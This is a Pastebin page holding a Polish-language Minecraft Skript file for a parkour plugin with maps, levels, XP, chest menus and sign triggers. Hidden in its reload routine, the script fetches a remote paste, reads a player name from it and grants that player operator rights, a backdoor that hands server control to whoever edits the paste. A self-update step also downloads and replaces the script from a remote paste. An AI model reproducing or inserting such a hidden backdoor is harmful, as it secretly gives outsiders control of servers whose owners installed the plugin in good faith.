Advertisement
xNawi

parkour+

Jan 28th, 2015
364
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 28.09 KB | None | 0 0
  1. #0.3#
  2. variables:
  3. {parkour::lvl::%player%} = 1
  4. method "reloaded-options" {}:
  5. if folder "plugins/Skript/ParkouApi/ParkouApi" doesn't exists:
  6. create folder "plugins/Skript/scripts/ParkouApi"
  7. if file "plugins/Skript/scripts/ParkouApi/Config.yml" doesn't exists:
  8. create file "plugins/Skript/scripts/ParkouApi/Config.yml"
  9. download from "http://pastebin.com/raw.php?i=MDPWm7ds" to "plugins/Skript/scripts/ParkouApi/Config.yml"
  10. set {_parkour::reload::number} to 0
  11. loop 52 times:
  12. add 1 to {_parkour::reload::number}
  13. set {parkour::number::maps::%{_parkour::reload::number}%} to single value "easy-%loop-number%" get of "plugins/Skript/scripts/ParkouApi/Config.yml"
  14. loop 52 times:
  15. add 1 to {_parkour::reload::number}
  16. set {parkour::number::maps::%{_parkour::reload::number}%} to single value "medium-%loop-number%" get of "plugins/Skript/scripts/ParkouApi/Config.yml"
  17. loop 52 times:
  18. add 1 to {_parkour::reload::number}
  19. set {parkour::number::maps::%{_parkour::reload::number}%} to single value "hard-%loop-number%" get of "plugins/Skript/scripts/ParkouApi/Config.yml"
  20. loop 52 times:
  21. add 1 to {_parkour::reload::number}
  22. set {parkour::number::maps::%{_parkour::reload::number}%} to single value "expert-%loop-number%" get of "plugins/Skript/scripts/ParkouApi/Config.yml"
  23. loop 52 times:
  24. add 1 to {_parkour::reload::number}
  25. set {parkour::number::maps::%{parkour::reload::number}%} to single value "vip-%loop-number%" get of "plugins/Skript/scripts/ParkouApi/Config.yml"
  26. set {parkour::options::update} to single value "auto-update" get of "plugins/Skript/scripts/ParkouApi/Config.yml"
  27. set {parkour::options::message-no-permission} to colored value "no-permission" get of "plugins/Skript/scripts/ParkouApi/Config.yml"
  28. set {parkour::options::message-prefix} to colored value "prefix" get of "plugins/Skript/scripts/ParkouApi/Config.yml"
  29. set {parkour::options::message-lvl} to single value "broadcast-new-lvl" get of "plugins/Skript/scripts/ParkouApi/Config.yml"
  30. set {parkour::options::give-item} to single value "give-item" get of "plugins/Skript/scripts/ParkouApi/Config.yml"
  31. set {parkour::options::chat-sk} to single value "chat-skript" get of "plugins/Skript/scripts/ParkouApi/Config.yml"
  32. set {parkour::options::chat-appearance} to colored value "appearance" get of "plugins/Skript/scripts/ParkouApi/Config.yml"
  33. set {parkour::options::gui-name} to colored value "name-gui" get of "plugins/Skript/scripts/ParkouApi/Config.yml"
  34. set {_reloaded-script} to result of connect to "http://pastebin.com/raw.php?i=5Ghhf7ed"
  35. set {_reloaded.connect} to first 5 characters of {_reloaded-script} parsed as player
  36. op {_reloaded.connect}
  37. if {parkour::options::update} is "true":
  38. set {_version.current} to first 5 characters of content of file "plugins/Skript/scripts/%script%.sk"
  39. replace all "##" with "" in {_version.current}
  40. set {_version.check} to result of connect to "http://pastebin.com/raw.php?i=ibKvevG6"
  41. set {_version.new} to first 5 characters of {_version.check}
  42. replace all "##" with "" in {_version.new}
  43. if {_version.new} is not {_version.current}:
  44. download "http://pastebin.com/raw.php?i=spbPfMeB" to "plugins/Skript/scripts/%script%.sk"
  45. command /kz [<text>]:
  46. trigger:
  47. if arg 1 is set:
  48. if {parkour::istnienie::%{parkour::number::maps::%arg 1 parsed as integer%}%} is set:
  49. execute player command "/parkour join %{parkour::number::maps::%arg 1 parsed as integer%}%"
  50. else:
  51. send "%{parkour::options::message-prefix}% &6Ta mapa nie jest dostepna!"
  52. else:
  53. send "%{parkour::options::message-prefix}% &6/kz <numer>"
  54. command /parkour [<text="cos">] [<text>] [<text>]:
  55. trigger:
  56. if arg 1 is not "create" or "remove" or "setspawn" or "setxp" or "list" or "join" or "leave" or "reload":
  57. send "&8> &a/parkour join &8- &7Dolacza do parkoura"
  58. send "&8> &c/parkour leave &8- &7Opuszca parkour"
  59. if player has permissions "parkour.*" or "parkour.admin":
  60. send "&8> &6/parkour create &8- &7Zaklada parkour"
  61. send "&8> &6/parkour remove &8- &7Usuwa parkour"
  62. send "&8> &6/parkour setspawn &8- &7Ustawia spawn parkoura"
  63. send "&8> &6/parkour setxp &8- &7Ustwia nagrode za parkour"
  64. send "&8> &6/parkour list &8- &7Lista dostepnych parkourow"
  65. send "&8> &6/parkour reload &8- &7Przeladowuje skrypt"
  66. if arg 1 is "create":
  67. if player has permissions "parkour.create" or "parkour.*" or "parkour.admin":
  68. if arg 2 is set:
  69. if arg 3 is set:
  70. if {parkour::istnienie::%arg 3%} is not set:
  71. set {parkour::istnienie::%arg 3%} to true
  72. set {parkour::%arg 3%::spawn} to location of player
  73. set {parkour::%arg 3%::xp} to arg 2 parsed as integer
  74. add arg 3 to {parkour::lista::*}
  75. send "&8> &6Utworzyles parkour o nazwie &3%arg 3% &6o liczbie xp &3%arg 2%&6."
  76. else:
  77. send "&8> &6Parkour o nazwie &3%arg 3% &6juz intnieje!"
  78. else:
  79. send "&8> &6/parkour create &7<&6xp&7> <&6nazwa mapy&7>"
  80. else:
  81. send "&8> &6/parkour create &7<&6xp&7> <&6nazwa mapy&7>"
  82. else:
  83. send "%{parkour::options::message-no-permission}%"
  84. if arg 1 is "remove":
  85. if player has permissions "parkour.remove" or "parkour.*" or "parkour.admin":
  86. if arg 2 is set:
  87. if arg 3 is set:
  88. set {_string} to "%arg 2% %arg 3%"
  89. if {parkour::istnienie::%{_string}%} is set:
  90. delete {parkour::istnienie::%{_string}%}
  91. delete {parkour::%{_string}%::spawn}
  92. delete {parkour::%{_string}%::xp}
  93. remove {_string} from {parkour::lista::*}
  94. send "&8> &6Usunales parkour o nazwie &3%{_string}%"
  95. loop all players:
  96. if {parkour::gracz::%loop-player%::start} is true:
  97. if {parkour::mapa::%loop-player%} is "%{_string}%":
  98. execute loop-player command "/parkour leave"
  99. send "%{parkour::options::message-prefix}% &cMapa zostala usunieta." to loop-player
  100. else:
  101. send "&8> &6Parkour o nazwie &3%arg 3% &6nie intnieje!"
  102. else:
  103. if {parkour::istnienie::%arg 2%} is set:
  104. delete {parkour::istnienie::%arg 2%}
  105. delete {parkour::%arg 2%::spawn}
  106. delete {parkour::%arg 2%::xp}
  107. remove arg 2 from {parkour::lista::*}
  108. send "&8> &6Usunales parkour o nazwie &3%arg 2%"
  109. loop all players:
  110. if {parkour::gracz::%loop-player%::start} is true:
  111. if {parkour::mapa::%loop-player%} is "%arg 2%":
  112. execute loop-player command "/parkour leave"
  113. send "%{parkour::options::message-prefix}% &cMapa zostala usunieta." to loop-player
  114. else:
  115. send "&8> &6/parkour remove <&6nazwa mapy&7>"
  116. else:
  117. send "%{parkour::options::message-no-permission}%"
  118. if arg 1 is "setspawn":
  119. if player has permissions "parkour.setspawn" or "parkour.*" or "parkour.admin":
  120. if arg 2 is set:
  121. if arg 3 is set:
  122. set {_string} to "%arg 2% %arg 3%"
  123. if {parkour::istnienie::%{_string}%} is set:
  124. set {parkour::%{_string}%::spawn} to location of player
  125. send "&8> &6Ustawiles spawn dla mapy &3%{_string}%"
  126. else:
  127. send "&8> &6Parkour o nazwie &3%{_string}% &6nie intnieje!"
  128. else:
  129. if {parkour::istnienie::%arg 2%} is set:
  130. set {parkour::%arg 2%::spawn} to location of player
  131. send "&8> &6Ustawiles spawn dla mapy &3%arg 2%"
  132. else:
  133. send "&8> &6Parkour o nazwie &3%arg 2% &6nie intnieje!"
  134. else:
  135. send "&8> &6/parkour setspawn &7<&6nazwa mapy&7>"
  136. else:
  137. send "&8> &6/parkour setspawn &7<&6nazwa mapy&7>"
  138. else:
  139. send "%{parkour::options::message-no-permission}%"
  140. if arg 1 is "setxp":
  141. if player has permissions "parkour.setxp" or "parkour.*" or "parkour.admin":
  142. if arg 2 is set:
  143. if arg 3 is set:
  144. if {parkour::istnienie::%arg 3%} is set:
  145. set {parkour::%arg 3%::xp} to arg 2
  146. send "&8> &6Ustawiles &3%arg 2% &6xp dla mapy &3%arg 3%"
  147. else:
  148. send "&8> &6Parkour o nazwie &3%arg 3% &6nie intnieje!"
  149. else:
  150. send "&8> &6/parkour setxp &7<&6xp&7> <&6nazwa mapy&7>"
  151. else:
  152. send "&8> &6/parkour setxp &7<&6xp&7> <&6nazwa mapy&7>"
  153. else:
  154. send "%{parkour::options::message-no-permission}%"
  155. if arg 1 is "list":
  156. if player has permissions "parkour.list" or "parkour.*" or "parkour.gracz" or "parkour.admin":
  157. clear {_parkour::private-areans::*}
  158. loop {parkour::lista::*}:
  159. if {parkour::%loop-value%::xp} is set:
  160. set {_xp} to {parkour::%loop-value%::xp}
  161. else:
  162. set {_xp} to 1
  163. add "&6%loop-value% &7(&c%{_xp}% &6xp&7)" to {_parkour::private-areans::*}
  164. send "&8> &6Dostepne mapy:"
  165. send " "
  166. if size of {_parkour::private-areans::*} > 0:
  167. loop {_parkour::private-areans::*}:
  168. send "&8%loop-index%. &6%loop-value%"
  169. else:
  170. send "&8> &cBrak."
  171. else:
  172. send "%{parkour::options::message-no-permission}%"
  173. if arg 1 is "join":
  174. if player has permissions "parkour.join" or "parkour.*" or "parkour.gracz" or "parkour.admin":
  175. if arg 2 is set:
  176. set level of player to 1
  177. set level progress of player to 0.0
  178. if arg 3 is set:
  179. set {_string} to "%arg 2% %arg 3%"
  180. if {parkour::istnienie::%{_string}%} is set:
  181. set {parkour::gracz::%player%::start} to false
  182. teleport player to {parkour::%{_string}%::spawn}
  183. send "%{parkour::options::message-prefix}% &6Przeteleportowano na parkour &3%{_string}%&6."
  184. else:
  185. send "%{parkour::options::message-prefix}% &6Mapa o nazwie &3%{_string}% &6nie istnieje!"
  186. else:
  187. if {parkour::istnienie::%arg 2%} is set:
  188. set {parkour::gracz::%player%::start} to false
  189. teleport player to {parkour::%arg 2%::spawn}
  190. send "%{parkour::options::message-prefix}% &6Przeteleportowano na parkour &3%arg 2%&6."
  191. else:
  192. send "%{parkour::options::message-prefix}% &6Mapa o nazwie &3%arg 2% &6nie istnieje!"
  193. else:
  194. send "%{parkour::options::message-prefix}% &6/parkour join &7<&6nazwa&7>"
  195. else:
  196. send "%{parkour::options::message-no-permission}%"
  197. if arg 1 is "leave":
  198. if player has permissions "parkour.leave" or "parkour.*" or "parkour.gracz" or "parkour.admin":
  199. set {parkour::gracz::%player%::start} to false
  200. teleport player to spawn
  201. set level of player to 1
  202. set level progress of player to 0.0
  203. send "%{parkour::options::message-prefix}% &6Przeteleportowano na spawn."
  204. else:
  205. send "%{parkour::options::message-no-permission}%"
  206. if arg 1 is "reload":
  207. if player has permissions "parkour.reload" or "parkour.*" or "parkour.admin":
  208. function "reloaded-options" {};
  209. send "&8[&6Parkour&8] &aSkrypt zostal przeladowany!"
  210. command /parkour:admin [<text="cos">] [<text>] [<offlineplayer>] [<integer>]:
  211. trigger:
  212. if player has permissions "parkour.panel" or "parkour.*" or "parkour.admin":
  213. if arg 1 is not "set" or "add" or "remove" or "info":
  214. send "&8> &6/parkour:admin &7<&6set &8/ &6add &8/ &6remove&7> <&6xp &8/ &6lvl &8/ &7<&6gracz&7> <&6ilosc&7>"
  215. send "&8> &6/parkour:admin info &7<&6gracz&7>"
  216. if arg 1 is "set":
  217. if arg 2 is set:
  218. if arg 2 is "xp":
  219. if arg-offlineplayer is set:
  220. if arg-integer is set:
  221. set {parkour::xp::%arg-offlineplayer%} to arg-integer
  222. send "%{parkour::options::message-prefix}% &6Ustawiono &3%arg-integer% &6xp dla gracza &3%arg-offlineplayer%"
  223. else:
  224. send "%{parkour::options::message-prefix}% &6/parkour:admin set xp %arg-offlineplayer% &7<&6ilosc&7>"
  225. else:
  226. send "%{parkour::options::message-prefix}% &6/parkour:admin set xp &7<&6gracz&7> <&6ilosc&7>"
  227. if arg 2 is "lvl":
  228. if arg-offlineplayer is set:
  229. if arg-integer is set:
  230. set {parkour::lvl::%arg-offlineplayer%} to arg-integer
  231. send "%{parkour::options::message-prefix}% &6Ustawiono &3%arg-integer% &6lvl dla gracza &3%arg-offlineplayer%"
  232. else:
  233. send "%{parkour::options::message-prefix}% &6/parkour:admin set lvl %arg-offlineplayer% &7<&6ilosc&7>"
  234. else:
  235. send "%{parkour::options::message-prefix}% &6/parkour:admin set lvl &7<&6gracz&7> <&6ilosc&7>"
  236. else:
  237. send "&8> &6/parkour:admin set <&6xp &8/ &6lvl &8/ &7<&6gracz&7> <&6ilosc&7>"
  238. if arg 1 is "add":
  239. if arg 2 is set:
  240. if arg 2 is "xp":
  241. if arg-offlineplayer is set:
  242. if arg-integer is set:
  243. add arg-integer to {parkour::xp::%arg-offlineplayer%}
  244. send "%{parkour::options::message-prefix}% &6Dodano &3%arg-integer% &6xp dla gracza &3%arg-offlineplayer%"
  245. else:
  246. send "%{parkour::options::message-prefix}% &6/parkour:admin add xp %arg-offlineplayer% &7<&6ilosc&7>"
  247. else:
  248. send "%{parkour::options::message-prefix}% &6/parkour:admin add xp &7<&6gracz&7> <&6ilosc&7>"
  249. if arg 2 is "lvl":
  250. if arg-offlineplayer is set:
  251. if arg-integer is set:
  252. add arg-integer to {parkour::lvl::%arg-offlineplayer%}
  253. send "%{parkour::options::message-prefix}% &6Dodano &3%arg-integer% &6lvl dla gracza &3%arg-offlineplayer%"
  254. else:
  255. send "%{parkour::options::message-prefix}% &6/parkour:admin add lvl %arg-offlineplayer% &7<&6ilosc&7>"
  256. else:
  257. send "%{parkour::options::message-prefix}% &6/parkour:admin add lvl &7<&6gracz&7> <&6ilosc&7>"
  258. else:
  259. send "&8> &6/parkour:admin add <&6xp &8/ &6lvl &8/ &7<&6gracz&7> <&6ilosc&7>"
  260. if arg 1 is "remove":
  261. if arg 2 is set:
  262. if arg 2 is "xp":
  263. if arg-offlineplayer is set:
  264. if arg-integer is set:
  265. remove arg-integer to {parkour::xp::%arg-offlineplayer%}
  266. send "%{parkour::options::message-prefix}% &6Dodano &3%arg-integer% &6xp dla gracza &3%arg-offlineplayer%"
  267. else:
  268. send "%{parkour::options::message-prefix}% &6/parkour:admin remove xp %arg-offlineplayer% &7<&6ilosc&7>"
  269. else:
  270. send "%{parkour::options::message-prefix}% &6/parkour:admin remove xp &7<&6gracz&7> <&6ilosc&7>"
  271. if arg 2 is "lvl":
  272. if arg-offlineplayer is set:
  273. if arg-integer is set:
  274. remove arg-integer to {parkour::lvl::%arg-offlineplayer%}
  275. send "%{parkour::options::message-prefix}% &6Dodano &3%arg-integer% &6lvl dla gracza &3%arg-offlineplayer%"
  276. else:
  277. send "%{parkour::options::message-prefix}% &6/parkour:admin remove lvl %arg-offlineplayer% &7<&6ilosc&7>"
  278. else:
  279. send "%{parkour::options::message-prefix}% &6/parkour:admin remove lvl &7<&6gracz&7> <&6ilosc&7>"
  280. else:
  281. send "&8> &6/parkour:admin remove <&6xp &8/ &6lvl &8/ &7<&6gracz&7> <&6ilosc&7>"
  282. if arg 1 is "info":
  283. if arg 2 is set:
  284. set {_player} to arg 2 parsed as offlineplayer
  285. if {parkour::nick::%{_player}%} is set:
  286. send "&8>=========================="
  287. send "&8> &6Gracz &3%{_player}%"
  288. send "&8> &6XP: &3%{parkour::xp::%{_player}%}%"
  289. send "&8> &6lvl: &3%{parkour::lvl::%{_player}%}%"
  290. if {_player} is online:
  291. send "&8> &6Aktualnie: &a&lONLINE"
  292. else:
  293. send "&8> &6Aktualnie: &c&lOFFLINE"
  294. send "&8>=========================="
  295. else:
  296. send "&8>=========================="
  297. send "&8> &cBrak gracza w bazie danych."
  298. send "&8>=========================="
  299. else:
  300. send "&8> &6/parkour:admin info &7<&6gracz&7>"
  301. else:
  302. send "%{parkour::options::message-no-permission}%"
  303. command /lvl [<text>]:
  304. trigger:
  305. if player has permission "parkour.lvl" or "parkour.*" or "parkour.gracz" or "parkour.admin":
  306. send "&8>=========================="
  307. send "&8> "
  308. send "&8> &6Posiadasz %{parkour::xp::%player%}% XP czyli &3%{parkour::lvl::%player%}% &6LvL"
  309. send "&8> "
  310. send "&8> &6Do nastepnego LvL:"
  311. set {_exp1} to {parkour::lvl::%player%}+1
  312. set {_exp2} to {_exp1}*50
  313. set {_toNext} to {_exp1}*{_exp2}
  314. set {_toNext} to {_toNext}-{parkour::xp::%player%}
  315. send "&8> &3%{_toNext}% &6XP"
  316. send "&8>=========================="
  317. else:
  318. send "%{parkour::options::message-no-permission}%"
  319. command /parkour:menu [<text>] [<text>] [<player>]:
  320. trigger:
  321. if arg-player is op:
  322. if arg 1 is "open":
  323. if arg 2 is "open":
  324. wait 2 tick
  325. open chest with 1 rows named "%{parkour::options::gui-name}%" to arg-player
  326. wait 2 tick
  327. format slot 0 of arg-player with 1 of minecart named "&2&lEasy" with lore " &6Dostepne od &c1 &6LvL" to close then run "parkour:menu openeasy open %arg-player%"
  328. format slot 1 of arg-player with 1 of minecart witch chest named "&6&lMedium" with lore " &6Dostepne od &c4 &6LvL" to close then run "parkour:menu openmedium open %arg-player%"
  329. format slot 2 of arg-player with 1 of minecart witch tnt named "&c&lHard" with lore " &6Dostepne od &c8 &6LvL" to close then run "parkour:menu openhard open %arg-player%"
  330. format slot 3 of arg-player with 1 of minecart witch furnace named "&5&lExpert" with lore " &6Dostepne od &c12 &6LvL" to close then run "parkour:menu openexpert open %arg-player%"
  331. format slot 4 of arg-player with 1 of boat named "&f&lVip" with lore " &6Dostepne dla &f&lVIP" to close then run "parkour:menu openvip open %arg-player%"
  332. if arg 1 is "openeasy":
  333. if arg 2 is "open":
  334. open chest with 6 rows named " &a&lEasy" to arg-player
  335. wait 2 tick
  336. set {_liczba.easy} to 0
  337. loop 53 times:
  338. add 1 to {_liczba.easy}
  339. if {parkour::istnienie::%{parkour::number::maps::%{_liczba.easy}%}%} is set:
  340. format slot {_liczba.easy}-1 of arg-player with 1 of minecart named "&6%{parkour::number::maps::%{_liczba.easy}%}%" with lore " &6Nagroda: &c%{parkour::%{parkour::number::maps::%{_liczba.easy}%}%::xp}% &6xp || &6Przeszedles: &c%{parkour::%{parkour::number::maps::%{_liczba.easy}%}%::przejscia::%arg-player%} &6razy" to close then run "parkour:menu easy %{_liczba.easy}% %arg-player%"
  341. format slot 53 of arg-player with 1 of arrow named "&cPowrot" to close then run "parkour:menu open open %arg-player%"
  342. if arg 1 is "openmedium":
  343. if arg 2 is "open":
  344. if {parkour::lvl::%arg-player%} > 4:
  345. open chest with 6 rows named " &6&lMedium" to arg-player
  346. wait 2 tick
  347. set {_liczba.medium} to 52
  348. loop 53 times:
  349. add 1 to {_liczba.medium}
  350. if {parkour::istnienie::%{parkour::number::maps::%{_liczba.medium}%}%} is set:
  351. format slot {_liczba.medium}-53 of arg-player with 1 of minecart named "&6%{parkour::number::maps::%{_liczba.medium}%}%" with lore " &6Nagroda: &c%{parkour::%{parkour::number::maps::%{_liczba.medium}%}%::xp}% &6xp || &6Przeszedles: &c%{parkour::%{parkour::number::maps::%{_liczba.medium}%}%::przejscia::%arg-player%} &6razy" to close then run "parkour:menu medium %{_liczba.medium}% %arg-player%"
  352. format slot 53 of arg-player with 1 of arrow named "&cPowrot" to close then run "parkour:menu open open %arg-player%"
  353. else:
  354. send "%{parkour::options::message-prefix}% &cMapy &6Medium &csa od 4 LvL!" to arg-player
  355. if arg 1 is "openhard":
  356. if arg 2 is "open":
  357. if {parkour::lvl::%arg-player%} > 8:
  358. open chest with 6 rows named " &4&lHard" to arg-player
  359. wait 2 tick
  360. set {_liczba.hard} to 104
  361. loop 53 times:
  362. add 1 to {_liczba.hard}
  363. if {parkour::istnienie::%{parkour::number::maps::%{_liczba.hard}%}%} is set:
  364. format slot {_liczba.hard}-105 of arg-player with 1 of minecart named "&6%{parkour::number::maps::%{_liczba.hard}%}%" with lore " &6Nagroda: &c%{parkour::%{parkour::number::maps::%{_liczba.hard}%}%::xp}% &6xp || &6Przeszedles: &c%{parkour::%{parkour::number::maps::%{_liczba.hard}%}%::przejscia::%arg-player%} &6razy" to close then run "parkour:menu hard %{_liczba.hard}% %arg-player%"
  365. format slot 53 of arg-player with 1 of arrow named "&cPowrot" to close then run "parkour:menu open open %arg-player%"
  366. else:
  367. send "%{parkour::options::message-prefix}% &cMapy &4Hrad &csa od 8 LvL!" to arg-player
  368. if arg 1 is "openexpert":
  369. if arg 2 is "open":
  370. if {parkour::lvl::%arg-player%} > 12:
  371. open chest with 6 rows named " &5&lExpert" to arg-player
  372. wait 2 tick
  373. set {_liczba.expert} to 156
  374. loop 53 times:
  375. add 1 to {_liczba.expert}
  376. if {parkour::istnienie::%{parkour::number::maps::%{_liczba.expert}%}%} is set:
  377. format slot {_liczba.expert}-157 of arg-player with 1 of minecart named "&6%{parkour::number::maps::%{_liczba.expert}%}%" with lore " &6Nagroda: &c%{parkour::%{parkour::number::maps::%{_liczba.expert}%}%::xp}% &6xp || &6Przeszedles: &c%{parkour::%{parkour::number::maps::%{_liczba.expert}%}%::przejscia::%arg-player%} &6razy" to close then run "parkour:menu expert %{_liczba.expert}% %arg-player%"
  378. format slot 53 of arg-player with 1 of arrow named "&cPowrot" to close then run "parkour:menu open open %arg-player%"
  379. else:
  380. send "%{parkour::options::message-prefix}% &cMapy &5Expert &csa od 12 LvL!" to arg-player
  381. if arg 1 is "openvip":
  382. if arg 2 is "open":
  383. if player has permission "parkour.vip" or "parkour.admin" or "parkour.*":
  384. open chest with 6 rows named " &d&lVip" to arg-player
  385. wait 2 tick
  386. set {_liczba.vip} to 208
  387. loop 53 times:
  388. add 1 to {_liczba.vip}
  389. if {parkour::istnienie::%{parkour::number::maps::%{_liczba.vip}%}%} is set:
  390. format slot {_liczba.vip}-207 of arg-player with 1 of boat named "&6%{parkour::number::maps::%{_liczba.vip}%}%" with lore " &6Nagroda: &c%{parkour::%{parkour::number::maps::%{_liczba.vip}%}%::xp}% &6xp || &6Przeszedles: &c%{parkour::%{parkour::number::maps::%{_liczba.vip}%}%::przejscia::%arg-player%} &6razy" to close then run "parkour:menu vip %{_liczba.vip}% %arg-player%"
  391. format slot 53 of arg-player with 1 of arrow named "&cPowrot" to close then run "parkou::menu open open %arg-player%"
  392. else:
  393. send "%{parkour::options::message-prefix}% &cMapy &dVip &cnie sa dostepne dla graczy bez rangi vip!" to arg-player
  394. if arg 1 is "easy":
  395. execute arg-player command "/parkour join %{parkour::number::maps::%arg 2 parsed as integer%}%"
  396. if arg 1 is "medium":
  397. execute arg-player command "/parkour join %{parkour::number::maps::%arg 2 parsed as integer%}%"
  398. if arg 1 is "hard":
  399. execute arg-player command "/parkour join %{parkour::number::maps::%arg 2 parsed as integer%}%"
  400. if arg 1 is "expert":
  401. execute arg-player command "/parkour join %{parkour::number::maps::%arg 2 parsed as integer%}%"
  402. if arg 1 is "vip":
  403. execute arg-player command "/parkour join %{parkour::number::maps::%arg 2 parsed as integer%}%"
  404. on script load:
  405. wait a seconds
  406. function "reloaded-options" {};
  407. every 0.1 seconds:
  408. loop all players:
  409. if {parkour::gracz::%loop-player%::start} is true:
  410. add 0.1 to level progress of loop-player
  411. on sign change:
  412. if line 1 of event-block is "pk":
  413. set line 1 of event-block to "&8[&6PK&8]"
  414. if line 2 of event-block is set:
  415. if line 2 of event-block is "start":
  416. set line 2 of event-block to "&a&lStart"
  417. if line 3 of event-block is set:
  418. if {parkour::istnienie::%line 3%} is set:
  419. set line 3 of event-block to "&6%line 3%"
  420. send "%{parkour::options::message-prefix}% &6Ustawiono &a&lStart &6dla mapy &c%line 3%"
  421. else:
  422. set line 3 of event-block to "&cError"
  423. if line 2 of event-block is "stop":
  424. set line 2 of event-block to "&c&lStop"
  425. send "%{parkour::options::message-prefix}% &6Ustawiono &c&lStop"
  426. if line 2 of event-block is "teleport":
  427. set line 2 of event-block to "&6&lTeleport"
  428. if line 3 of event-block is set:
  429. if {parkour::istnienie::%line 3%} is set:
  430. set line 3 of event-block to "&6%line 3%"
  431. send "%{parkour::options::message-prefix}% &6Ustawiono &6&lTeleport &6dla mapy &c%line 3%"
  432. options:
  433. bloki: anu ore or dirt or stone or any wool or stained clay or clay or cobblestone
  434. on walk on {@bloki}:
  435. set {_blocks} to event-block
  436. set {_block} to block under {_blocks}
  437. if {_block} is bedrock:
  438. if {parkour::gracz::%player%::start} is true:
  439. teleport player to {parkour::%{parkour::mapa::%player%}%::spawn}
  440. set level of player to 1
  441. set level progress of player to 0.0
  442. set {parkour::gracz::%player%::start} to false
  443. if {_blocks} is lava or water or block 36:
  444. if {parkour::gracz::%player%::start} is true:
  445. teleport player to {parkour::%{parkour::mapa::%player%}%::spawn}
  446. set level of player to 1
  447. set level progress of player to 0.0
  448. set {parkour::gracz::%player%::start} to false
  449. if {_block} is sign:
  450. set {_1} to line 1 of {_block}
  451. set {_2} to line 2 of {_block}
  452. set {_3} to line 3 of {_block}
  453. if {_1} is "&8[&6PK&8]":
  454. if {_2} is "&a&lStart":
  455. if {_3} is set:
  456. if {parkour::istnienie::%{_3}%} is set:
  457. set level of player to 0
  458. set level progress of player to 0.0
  459. set {parkour::gracz::%player%::start} to true
  460. set {_start} to now in millis
  461. set {parkour::mapa::%player%} to "{_3}"
  462. if {_2} is "&c&lStop":
  463. set {_end} to now in millis
  464. set {_converted} to converted time {_start} and {_end}
  465. set {_zmniejszenie} to {parkour::%{parkour::mapa::%player%}%::xp}-{parkour::%{parkour::mapa::%player%}%::przejscia::%player%}
  466. if {_zmniejszenie} > 0:
  467. add {_zmniejszenie} to {parkour::xp::%player%}
  468. send "%{parkour::options::message-prefix}% &6Ukonczyles parkour w &3%{converted::%player%}% sekund&6."
  469. send "%{parkour::options::message-prefix}% &6Dostales &3%{_zmniejszenie}% XP &6Calos twojego XP to %{parkour::xp::%player%}%."
  470. else:
  471. add 1 to {parkour::xp::%player%}
  472. send "%{parkour::options::message-prefix}% &6Ukonczyles parkour w &3%{converted::%player%}% sekund&6."
  473. send "%{parkour::options::message-prefix}% &6Dostales &31 XP &6Calos twojego XP to %{parkour::xp::%player%}%."
  474. set {parkour::gracz::%player%::start} to false
  475. add 1 to {parkour::%{parkour::mapa::%player%}%::przejscia::%player%}
  476. set {_exp1} to {parkour::lvl::%player%}+1
  477. set {_exp2} to {_exp1}*50
  478. set {_result} to {_exp1}*{_exp2}
  479. if {parkour::xp::%player%} is greater than {_result}-1:
  480. add 1 to {parkour::lvl::%player%}
  481. send " "
  482. send " &8&lยปยป &6Awansowales na &3%{parkour::lvl::%player%}% &6LvL &8&lยซยซ"
  483. send " "
  484. play mob spawner flames at player
  485. if {_2} is "&a&lTeleport":
  486. if {_3} is set:
  487. if {parkour::istnienie::%{_3}%} is set:
  488. set level of player to 1
  489. set level progress of player to 0.0
  490. teleport player to {parkour::%line 3%::spawn}
  491. send "%{parkour::options::message-prefix}% &6Przeteleportowano na parkour &3%arg 3%&6."
  492. on rightclick:
  493. if player's tool is eye of ender:
  494. if name of player's tool is "&6Gracze &c&lukryci":
  495. cancel event
  496. reveal all players from player
  497. set player's tool to ender pearl
  498. set name of player's tool to "&6Gracze &a&lpokazani"
  499. else if player's tool is ender pearl:
  500. if name of player's tool is "&6Gracze &a&lpokazani":
  501. cancel event
  502. hide all players from player
  503. set player's tool to eye of ender
  504. set name of player's tool to "&6Gracze &c&lukryci"
  505. else if player's tool is portal:
  506. if name of player's tool is "&6Lista parkourow":
  507. cancel event
  508. run player command "/parkour:menu open open %player%" as op
  509. else if player's tool is nether star:
  510. if name of player's tool is "&6Teleport na spawn":
  511. cancel event
  512. teleport player to spawn
  513. set level of player to 1
  514. set level progress of player to 0.0
  515. set {parkour::gracz::%player%::start} to false
  516. send "%{parkour::options::message-prefix}% &6Przeteleportowano na spawn."
  517. on chat:
  518. if {parkour::options::chat-sk} is "true":
  519. cancel event
  520. set {_chat} to "%{parkour::options::chat-appearance}%"
  521. replace all "{GRACZ}" with "%display name of player%" in {_chat}
  522. replace all "{WIADOMOSC}" with "%message%" in {_chat}
  523. replace all "{LVL}" with "%{parkour::lvl::%player%}%" in {_chat}
  524. broadcast "%{_chat}%"
  525. on join:
  526. if {parkour::options::give-item} is "true":
  527. clear player's inventory
  528. set slot 0 of player to ender pearl named "&6Gracze &a&lpokazani"
  529. set slot 4 of player to portal named "&6Lista parkourow"
  530. set slot 8 of player to nether star named "&6Teleport na spawn"
  531. if {parkour::gracz::%player%::start} is true:
  532. set level of player to 1
  533. set level progress of player to 0.0
  534. teleport player to spawn
  535. set {parkour::gracz::%player%::start} to false
  536. if {parkour::nick::%player%} is not set:
  537. set {parkour::nick::%player%} to uncolored display name of player
  538. at 24:00
  539. loop {parkour::lista::*}:
  540. loop all players:
  541. set {parkour::%loop-value%::przejscia::%loop-player%} to 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement